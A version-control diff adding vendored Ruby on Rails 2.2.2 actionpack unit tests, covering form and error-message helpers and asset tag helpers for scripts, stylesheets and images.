+    assert_dom_equal(
+      %(<form action="create" method="post"><p><label for="post_title">Title</label><br /><input id="post_title" name="post[title]" size="30" type="text" value="Hello World" /></p>\n<p><label for="post_body">Body</label><br /><div class="fieldWithErrors"><textarea cols="40" id="post_body" name="post[body]" rows="20">Back to the hill and over it again!</textarea></div></p><input name="commit" type="submit" value="Create" /></form>),
+      form("post")
+    )
+
+    silence_warnings do
+      class << @post
+        def new_record?() false end
+        def to_param() id end
+        def id() 1 end
+      end
+    end
+
+    assert_dom_equal(
+      %(<form action="update/1" method="post"><input id="post_id" name="post[id]" type="hidden" value="1" /><p><label for="post_title">Title</label><br /><input id="post_title" name="post[title]" size="30" type="text" value="Hello World" /></p>\n<p><label for="post_body">Body</label><br /><div class="fieldWithErrors"><textarea cols="40" id="post_body" name="post[body]" rows="20">Back to the hill and over it again!</textarea></div></p><input name="commit" type="submit" value="Update" /></form>),
+      form("post")
+    )
+  end
+
+  def test_form_with_protect_against_forgery
+    @protect_against_forgery = true
+    @request_forgery_protection_token = 'authenticity_token'
+    @form_authenticity_token = '123'
+    assert_dom_equal(
+      %(<form action="create" method="post"><div style='margin:0;padding:0'><input type='hidden' name='authenticity_token' value='123' /></div><p><label for="post_title">Title</label><br /><input id="post_title" name="post[title]" size="30" type="text" value="Hello World" /></p>\n<p><label for="post_body">Body</label><br /><div class="fieldWithErrors"><textarea cols="40" id="post_body" name="post[body]" rows="20">Back to the hill and over it again!</textarea></div></p><input name="commit" type="submit" value="Create" /></form>),
+      form("post")
+    )
+  end
+
+  def test_form_with_method_option
+    assert_dom_equal(
+      %(<form action="create" method="get"><p><label for="post_title">Title</label><br /><input id="post_title" name="post[title]" size="30" type="text" value="Hello World" /></p>\n<p><label for="post_body">Body</label><br /><div class="fieldWithErrors"><textarea cols="40" id="post_body" name="post[body]" rows="20">Back to the hill and over it again!</textarea></div></p><input name="commit" type="submit" value="Create" /></form>),
+      form("post", :method=>'get')
+    )
+  end
+
+  def test_form_with_action_option
+    @response.body = form("post", :action => "sign")
+    assert_select "form[action=sign]" do |form|
+      assert_select "input[type=submit][value=Sign]"
+    end
+  end
+
+  def test_form_with_date
+    silence_warnings do
+      def Post.content_columns() [ Column.new(:date, "written_on", "Written on") ] end
+    end
+
+    assert_dom_equal(
+      %(<form action="create" method="post"><p><label for="post_written_on">Written on</label><br /><select id="post_written_on_1i" name="post[written_on(1i)]">\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n</select>\n<select id="post_written_on_2i" name="post[written_on(2i)]">\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n</select>\n<select id="post_written_on_3i" name="post[written_on(3i)]">\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n</select>\n</p><input name="commit" type="submit" value="Create" /></form>),
+      form("post")
+    )
+  end
+
+  def test_form_with_datetime
+    silence_warnings do
+      def Post.content_columns() [ Column.new(:datetime, "written_on", "Written on") ] end
+    end
+    @post.written_on  = Time.gm(2004, 6, 15, 16, 30)
+
+    assert_dom_equal(
+      %(<form action="create" method="post"><p><label for="post_written_on">Written on</label><br /><select id="post_written_on_1i" name="post[written_on(1i)]">\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n</select>\n<select id="post_written_on_2i" name="post[written_on(2i)]">\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n</select>\n<select id="post_written_on_3i" name="post[written_on(3i)]">\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n</select>\n &mdash; <select id="post_written_on_4i" name="post[written_on(4i)]">\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n</select>\n : <select id="post_written_on_5i" name="post[written_on(5i)]">\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30" selected="selected">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n</select>\n</p><input name="commit" type="submit" value="Create" /></form>),
+      form("post")
+    )
+  end
+
+  def test_error_for_block
+    assert_dom_equal %(<div class="errorExplanation" id="errorExplanation"><h2>1 error prohibited this post from being saved</h2><p>There were problems with the following fields:</p><ul><li>Author name can't be empty</li></ul></div>), error_messages_for("post")
+    assert_equal %(<div class="errorDeathByClass" id="errorDeathById"><h1>1 error prohibited this post from being saved</h1><p>There were problems with the following fields:</p><ul><li>Author name can't be empty</li></ul></div>), error_messages_for("post", :class => "errorDeathByClass", :id => "errorDeathById", :header_tag => "h1")
+    assert_equal %(<div id="errorDeathById"><h1>1 error prohibited this post from being saved</h1><p>There were problems with the following fields:</p><ul><li>Author name can't be empty</li></ul></div>), error_messages_for("post", :class => nil, :id => "errorDeathById", :header_tag => "h1")
+    assert_equal %(<div class="errorDeathByClass"><h1>1 error prohibited this post from being saved</h1><p>There were problems with the following fields:</p><ul><li>Author name can't be empty</li></ul></div>), error_messages_for("post", :class => "errorDeathByClass", :id => nil, :header_tag => "h1")
+  end
+
+  def test_error_messages_for_handles_nil
+    assert_equal "", error_messages_for("notthere")
+  end
+
+  def test_error_message_on_handles_nil
+    assert_equal "", error_message_on("notthere", "notthere")
+  end
+
+  def test_error_message_on
+    assert_dom_equal "<div class=\"formError\">can't be empty</div>", error_message_on(:post, :author_name)
+  end
+
+  def test_error_message_on_no_instance_variable
+    other_post = @post
+    assert_dom_equal "<div class=\"formError\">can't be empty</div>", error_message_on(other_post, :author_name)
+  end
+
+  def test_error_message_on_with_options_hash
+    assert_dom_equal "<div class=\"differentError\">beforecan't be emptyafter</div>", error_message_on(:post, :author_name, :css_class => 'differentError', :prepend_text => 'before', :append_text => 'after')
+  end
+
+  def test_error_messages_for_many_objects
+    assert_dom_equal %(<div class="errorExplanation" id="errorExplanation"><h2>2 errors prohibited this post from being saved</h2><p>There were problems with the following fields:</p><ul><li>Author name can't be empty</li><li>User email can't be empty</li></ul></div>), error_messages_for("post", "user")
+
+    # reverse the order, error order changes and so does the title
+    assert_dom_equal %(<div class="errorExplanation" id="errorExplanation"><h2>2 errors prohibited this user from being saved</h2><p>There were problems with the following fields:</p><ul><li>User email can't be empty</li><li>Author name can't be empty</li></ul></div>), error_messages_for("user", "post")
+
+    # add the default to put post back in the title
+    assert_dom_equal %(<div class="errorExplanation" id="errorExplanation"><h2>2 errors prohibited this post from being saved</h2><p>There were problems with the following fields:</p><ul><li>User email can't be empty</li><li>Author name can't be empty</li></ul></div>), error_messages_for("user", "post", :object_name => "post")
+
+    # symbols work as well
+    assert_dom_equal %(<div class="errorExplanation" id="errorExplanation"><h2>2 errors prohibited this post from being saved</h2><p>There were problems with the following fields:</p><ul><li>User email can't be empty</li><li>Author name can't be empty</li></ul></div>), error_messages_for(:user, :post, :object_name => :post)
+
+    # any default works too
+    assert_dom_equal %(<div class="errorExplanation" id="errorExplanation"><h2>2 errors prohibited this monkey from being saved</h2><p>There were problems with the following fields:</p><ul><li>User email can't be empty</li><li>Author name can't be empty</li></ul></div>), error_messages_for(:user, :post, :object_name => "monkey")
+
+    # should space object name
+    assert_dom_equal %(<div class="errorExplanation" id="errorExplanation"><h2>2 errors prohibited this chunky bacon from being saved</h2><p>There were problems with the following fields:</p><ul><li>User email can't be empty</li><li>Author name can't be empty</li></ul></div>), error_messages_for(:user, :post, :object_name => "chunky_bacon")
+
+    # hide header and explanation messages with nil or empty string
+    assert_dom_equal %(<div class="errorExplanation" id="errorExplanation"><ul><li>User email can't be empty</li><li>Author name can't be empty</li></ul></div>), error_messages_for(:user, :post, :header_message => nil, :message => "")
+
+    # override header and explanation messages
+    header_message = "Yikes! Some errors"
+    message = "Please fix the following fields and resubmit:"
+    assert_dom_equal %(<div class="errorExplanation" id="errorExplanation"><h2>#{header_message}</h2><p>#{message}</p><ul><li>User email can't be empty</li><li>Author name can't be empty</li></ul></div>), error_messages_for(:user, :post, :header_message => header_message, :message => message)
+  end
+
+  def test_error_messages_for_non_instance_variable
+    actual_user = @user
+    actual_post = @post
+    @user = nil
+    @post = nil
+
+  #explicitly set object
+    assert_dom_equal %(<div class="errorExplanation" id="errorExplanation"><h2>1 error prohibited this post from being saved</h2><p>There were problems with the following fields:</p><ul><li>Author name can't be empty</li></ul></div>), error_messages_for("post", :object => actual_post)
+
+  #multiple objects
+    assert_dom_equal %(<div class="errorExplanation" id="errorExplanation"><h2>2 errors prohibited this user from being saved</h2><p>There were problems with the following fields:</p><ul><li>User email can't be empty</li><li>Author name can't be empty</li></ul></div>), error_messages_for("user", "post", :object => [actual_user, actual_post])
+
+  #nil object
+    assert_equal '', error_messages_for('user', :object => nil)
+  end
+
+  def test_form_with_string_multipart
+    assert_dom_equal(
+      %(<form action="create" enctype="multipart/form-data" method="post"><p><label for="post_title">Title</label><br /><input id="post_title" name="post[title]" size="30" type="text" value="Hello World" /></p>\n<p><label for="post_body">Body</label><br /><div class="fieldWithErrors"><textarea cols="40" id="post_body" name="post[body]" rows="20">Back to the hill and over it again!</textarea></div></p><input name="commit" type="submit" value="Create" /></form>),
+      form("post", :multipart => true)
+    )
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/asset_tag_helper_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/asset_tag_helper_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/asset_tag_helper_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,657 @@
+require 'abstract_unit'
+
+class AssetTagHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::AssetTagHelper
+
+  def setup
+    silence_warnings do
+      ActionView::Helpers::AssetTagHelper.send(
+        :const_set,
+        :JAVASCRIPTS_DIR,
+        File.dirname(__FILE__) + "/../fixtures/public/javascripts"
+      )
+
+      ActionView::Helpers::AssetTagHelper.send(
+        :const_set,
+        :STYLESHEETS_DIR,
+        File.dirname(__FILE__) + "/../fixtures/public/stylesheets"
+      )
+
+      ActionView::Helpers::AssetTagHelper.send(
+        :const_set,
+        :ASSETS_DIR,
+        File.dirname(__FILE__) + "/../fixtures/public"
+      )
+    end
+
+    @controller = Class.new do
+      attr_accessor :request
+      def url_for(*args) "http://www.example.com" end
+    end.new
+
+    @request = Class.new do
+      def protocol() 'http://' end
+      def ssl?() false end
+      def host_with_port() 'localhost' end
+    end.new
+
+    @controller.request = @request
+
+    ActionView::Helpers::AssetTagHelper::reset_javascript_include_default
+    AssetTag::Cache.clear
+    AssetCollection::Cache.clear
+  end
+
+  def teardown
+    ActionController::Base.perform_caching = false
+    ActionController::Base.asset_host = nil
+    ENV.delete('RAILS_ASSET_ID')
+  end
+
+  AutoDiscoveryToTag = {
+    %(auto_discovery_link_tag) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
+    %(auto_discovery_link_tag(:rss)) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
+    %(auto_discovery_link_tag(:atom)) => %(<link href="http://www.example.com" rel="alternate" title="ATOM" type="application/atom+xml" />),
+    %(auto_discovery_link_tag(:xml)) => %(<link href="http://www.example.com" rel="alternate" title="XML" type="application/xml" />),
+    %(auto_discovery_link_tag(:rss, :action => "feed")) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
+    %(auto_discovery_link_tag(:rss, "http://localhost/feed")) => %(<link href="http://localhost/feed" rel="alternate" title="RSS" type="application/rss+xml" />),
+    %(auto_discovery_link_tag(:rss, {:action => "feed"}, {:title => "My RSS"})) => %(<link href="http://www.example.com" rel="alternate" title="My RSS" type="application/rss+xml" />),
+    %(auto_discovery_link_tag(:rss, {}, {:title => "My RSS"})) => %(<link href="http://www.example.com" rel="alternate" title="My RSS" type="application/rss+xml" />),
+    %(auto_discovery_link_tag(nil, {}, {:type => "text/html"})) => %(<link href="http://www.example.com" rel="alternate" title="" type="text/html" />),
+    %(auto_discovery_link_tag(nil, {}, {:title => "No stream.. really", :type => "text/html"})) => %(<link href="http://www.example.com" rel="alternate" title="No stream.. really" type="text/html" />),
+    %(auto_discovery_link_tag(:rss, {}, {:title => "My RSS", :type => "text/html"})) => %(<link href="http://www.example.com" rel="alternate" title="My RSS" type="text/html" />),
+    %(auto_discovery_link_tag(:atom, {}, {:rel => "Not so alternate"})) => %(<link href="http://www.example.com" rel="Not so alternate" title="ATOM" type="application/atom+xml" />),
+  }
+
+  JavascriptPathToTag = {
+    %(javascript_path("xmlhr")) => %(/javascripts/xmlhr.js),
+    %(javascript_path("super/xmlhr")) => %(/javascripts/super/xmlhr.js),
+    %(javascript_path("/super/xmlhr.js")) => %(/super/xmlhr.js)
+  }
+
+  PathToJavascriptToTag = {
+    %(path_to_javascript("xmlhr")) => %(/javascripts/xmlhr.js),
+    %(path_to_javascript("super/xmlhr")) => %(/javascripts/super/xmlhr.js),
+    %(path_to_javascript("/super/xmlhr.js")) => %(/super/xmlhr.js)
+  }
+
+  JavascriptIncludeToTag = {
+    %(javascript_include_tag("xmlhr")) => %(<script src="/javascripts/xmlhr.js" type="text/javascript"></script>),
+    %(javascript_include_tag("xmlhr.js")) => %(<script src="/javascripts/xmlhr.js" type="text/javascript"></script>),
+    %(javascript_include_tag("xmlhr", :lang => "vbscript")) => %(<script lang="vbscript" src="/javascripts/xmlhr.js" type="text/javascript"></script>),
+    %(javascript_include_tag("common.javascript", "/elsewhere/cools")) => %(<script src="/javascripts/common.javascript" type="text/javascript"></script>\n<script src="/elsewhere/cools.js" type="text/javascript"></script>),
+    %(javascript_include_tag(:defaults)) => %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>),
+    %(javascript_include_tag(:all)) => %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>\n<script src="/javascripts/bank.js" type="text/javascript"></script>\n<script src="/javascripts/robber.js" type="text/javascript"></script>\n<script src="/javascripts/version.1.0.js" type="text/javascript"></script>),
+    %(javascript_include_tag(:all, :recursive => true)) => %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>\n<script src="/javascripts/bank.js" type="text/javascript"></script>\n<script src="/javascripts/robber.js" type="text/javascript"></script>\n<script src="/javascripts/subdir/subdir.js" type="text/javascript"></script>\n<script src="/javascripts/version.1.0.js" type="text/javascript"></script>),
+    %(javascript_include_tag(:defaults, "test")) => %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/test.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>),
+    %(javascript_include_tag("test", :defaults)) => %(<script src="/javascripts/test.js" type="text/javascript"></script>\n<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>)
+  }
+
+  StylePathToTag = {
+    %(stylesheet_path("style")) => %(/stylesheets/style.css),
+    %(stylesheet_path("style.css")) => %(/stylesheets/style.css),
+    %(stylesheet_path('dir/file')) => %(/stylesheets/dir/file.css),
+    %(stylesheet_path('/dir/file.rcss')) => %(/dir/file.rcss)
+  }
+
+  PathToStyleToTag = {
+    %(path_to_stylesheet("style")) => %(/stylesheets/style.css),
+    %(path_to_stylesheet("style.css")) => %(/stylesheets/style.css),
+    %(path_to_stylesheet('dir/file')) => %(/stylesheets/dir/file.css),
+    %(path_to_stylesheet('/dir/file.rcss')) => %(/dir/file.rcss)
+  }
+
+  StyleLinkToTag = {
+    %(stylesheet_link_tag("style")) => %(<link href="/stylesheets/style.css" media="screen" rel="stylesheet" type="text/css" />),
+    %(stylesheet_link_tag("style.css")) => %(<link href="/stylesheets/style.css" media="screen" rel="stylesheet" type="text/css" />),
+    %(stylesheet_link_tag("/dir/file")) => %(<link href="/dir/file.css" media="screen" rel="stylesheet" type="text/css" />),
+    %(stylesheet_link_tag("dir/file")) => %(<link href="/stylesheets/dir/file.css" media="screen" rel="stylesheet" type="text/css" />),
+    %(stylesheet_link_tag("style", :media => "all")) => %(<link href="/stylesheets/style.css" media="all" rel="stylesheet" type="text/css" />),
+    %(stylesheet_link_tag(:all)) => %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/robber.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/version.1.0.css" media="screen" rel="stylesheet" type="text/css" />),
+    %(stylesheet_link_tag(:all, :recursive => true)) => %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/robber.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/subdir/subdir.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/version.1.0.css" media="screen" rel="stylesheet" type="text/css" />),
+    %(stylesheet_link_tag(:all, :media => "all")) => %(<link href="/stylesheets/bank.css" media="all" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/robber.css" media="all" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/version.1.0.css" media="all" rel="stylesheet" type="text/css" />),
+    %(stylesheet_link_tag("random.styles", "/css/stylish")) => %(<link href="/stylesheets/random.styles" media="screen" rel="stylesheet" type="text/css" />\n<link href="/css/stylish.css" media="screen" rel="stylesheet" type="text/css" />),
+    %(stylesheet_link_tag("http://www.example.com/styles/style")) => %(<link href="http://www.example.com/styles/style.css" media="screen" rel="stylesheet" type="text/css" />)
+  }
+
+  ImagePathToTag = {
+    %(image_path("xml"))          => %(/images/xml),
+    %(image_path("xml.png"))      => %(/images/xml.png),
+    %(image_path("dir/xml.png"))  => %(/images/dir/xml.png),
+    %(image_path("/dir/xml.png")) => %(/dir/xml.png)
+  }
+
+  PathToImageToTag = {
+    %(path_to_image("xml"))          => %(/images/xml),
+    %(path_to_image("xml.png"))      => %(/images/xml.png),
+    %(path_to_image("dir/xml.png"))  => %(/images/dir/xml.png),
+    %(path_to_image("/dir/xml.png")) => %(/dir/xml.png)
+  }
+
+  ImageLinkToTag = {
+    %(image_tag("xml.png")) => %(<img alt="Xml" src="/images/xml.png" />),
+    %(image_tag("..jpg")) => %(<img alt="" src="/images/..jpg" />),
+    %(image_tag("rss.gif", :alt => "rss syndication")) => %(<img alt="rss syndication" src="/images/rss.gif" />),
+    %(image_tag("gold.png", :size => "45x70")) => %(<img alt="Gold" height="70" src="/images/gold.png" width="45" />),
+    %(image_tag("gold.png", "size" => "45x70")) => %(<img alt="Gold" height="70" src="/images/gold.png" width="45" />),
+    %(image_tag("error.png", "size" => "45")) => %(<img alt="Error" src="/images/error.png" />),
+    %(image_tag("error.png", "size" => "45 x 70")) => %(<img alt="Error" src="/images/error.png" />),
+    %(image_tag("error.png", "size" => "x")) => %(<img alt="Error" src="/images/error.png" />),
+    %(image_tag("http://www.rubyonrails.com/images/rails.png")) => %(<img alt="Rails" src="http://www.rubyonrails.com/images/rails.png" />),
+    %(image_tag("http://www.rubyonrails.com/images/rails.png")) => %(<img alt="Rails" src="http://www.rubyonrails.com/images/rails.png" />),
+    %(image_tag("mouse.png", :mouseover => "/images/mouse_over.png")) => %(<img alt="Mouse" onmouseover="this.src='/images/mouse_over.png'" onmouseout="this.src='/images/mouse.png'" src="/images/mouse.png" />),
+    %(image_tag("mouse.png", :mouseover => image_path("mouse_over.png"))) => %(<img alt="Mouse" onmouseover="this.src='/images/mouse_over.png'" onmouseout="this.src='/images/mouse.png'" src="/images/mouse.png" />)
+  }
+
+
+  def test_auto_discovery_link_tag
+    AutoDiscoveryToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_javascript_path
+    JavascriptPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_path_to_javascript_alias_for_javascript_path
+    PathToJavascriptToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_javascript_include_tag_with_blank_asset_id
+    ENV["RAILS_ASSET_ID"] = ""
+    JavascriptIncludeToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_javascript_include_tag_with_given_asset_id
+    ENV["RAILS_ASSET_ID"] = "1"
+    assert_dom_equal(%(<script src="/javascripts/prototype.js?1" type="text/javascript"></script>\n<script src="/javascripts/effects.js?1" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js?1" type="text/javascript"></script>\n<script src="/javascripts/controls.js?1" type="text/javascript"></script>\n<script src="/javascripts/application.js?1" type="text/javascript"></script>), javascript_include_tag(:defaults))
+  end
+
+  def test_register_javascript_include_default
+    ENV["RAILS_ASSET_ID"] = ""
+    ActionView::Helpers::AssetTagHelper::register_javascript_include_default 'slider'
+    assert_dom_equal  %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/slider.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>), javascript_include_tag(:defaults)
+  end
+
+  def test_register_javascript_include_default_mixed_defaults
+    ENV["RAILS_ASSET_ID"] = ""
+    ActionView::Helpers::AssetTagHelper::register_javascript_include_default 'slider'
+    ActionView::Helpers::AssetTagHelper::register_javascript_include_default 'lib1', '/elsewhere/blub/lib2'
+    assert_dom_equal  %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/slider.js" type="text/javascript"></script>\n<script src="/javascripts/lib1.js" type="text/javascript"></script>\n<script src="/elsewhere/blub/lib2.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>), javascript_include_tag(:defaults)
+  end
+
+  def test_custom_javascript_expansions
+    ActionView::Helpers::AssetTagHelper::register_javascript_expansion :monkey => ["head", "body", "tail"]
+    assert_dom_equal  %(<script src="/javascripts/first.js" type="text/javascript"></script>\n<script src="/javascripts/head.js" type="text/javascript"></script>\n<script src="/javascripts/body.js" type="text/javascript"></script>\n<script src="/javascripts/tail.js" type="text/javascript"></script>\n<script src="/javascripts/last.js" type="text/javascript"></script>), javascript_include_tag('first', :monkey, 'last')
+  end
+
+  def test_custom_javascript_expansions_and_defaults_puts_application_js_at_the_end
+    ENV["RAILS_ASSET_ID"] = ""
+    ActionView::Helpers::AssetTagHelper::register_javascript_expansion :monkey => ["head", "body", "tail"]
+    assert_dom_equal  %(<script src="/javascripts/first.js" type="text/javascript"></script>\n<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/head.js" type="text/javascript"></script>\n<script src="/javascripts/body.js" type="text/javascript"></script>\n<script src="/javascripts/tail.js" type="text/javascript"></script>\n<script src="/javascripts/last.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>), javascript_include_tag('first', :defaults, :monkey, 'last')
+  end
+
+  def test_custom_javascript_expansions_with_undefined_symbol
+    ActionView::Helpers::AssetTagHelper::register_javascript_expansion :monkey => nil
+    assert_raise(ArgumentError) { javascript_include_tag('first', :monkey, 'last') }
+  end
+
+  def test_stylesheet_path
+    StylePathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_path_to_stylesheet_alias_for_stylesheet_path
+    PathToStyleToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_stylesheet_link_tag
+    ENV["RAILS_ASSET_ID"] = ""
+    StyleLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_custom_stylesheet_expansions
+    ActionView::Helpers::AssetTagHelper::register_stylesheet_expansion :monkey => ["head", "body", "tail"]
+    assert_dom_equal  %(<link href="/stylesheets/first.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/head.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/body.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/tail.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/last.css" media="screen" rel="stylesheet" type="text/css" />), stylesheet_link_tag('first', :monkey, 'last')
+  end
+
+  def test_custom_stylesheet_expansions_with_undefined_symbol
+    ActionView::Helpers::AssetTagHelper::register_stylesheet_expansion :monkey => nil
+    assert_raise(ArgumentError) { stylesheet_link_tag('first', :monkey, 'last') }
+  end
+
+  def test_image_path
+    ImagePathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
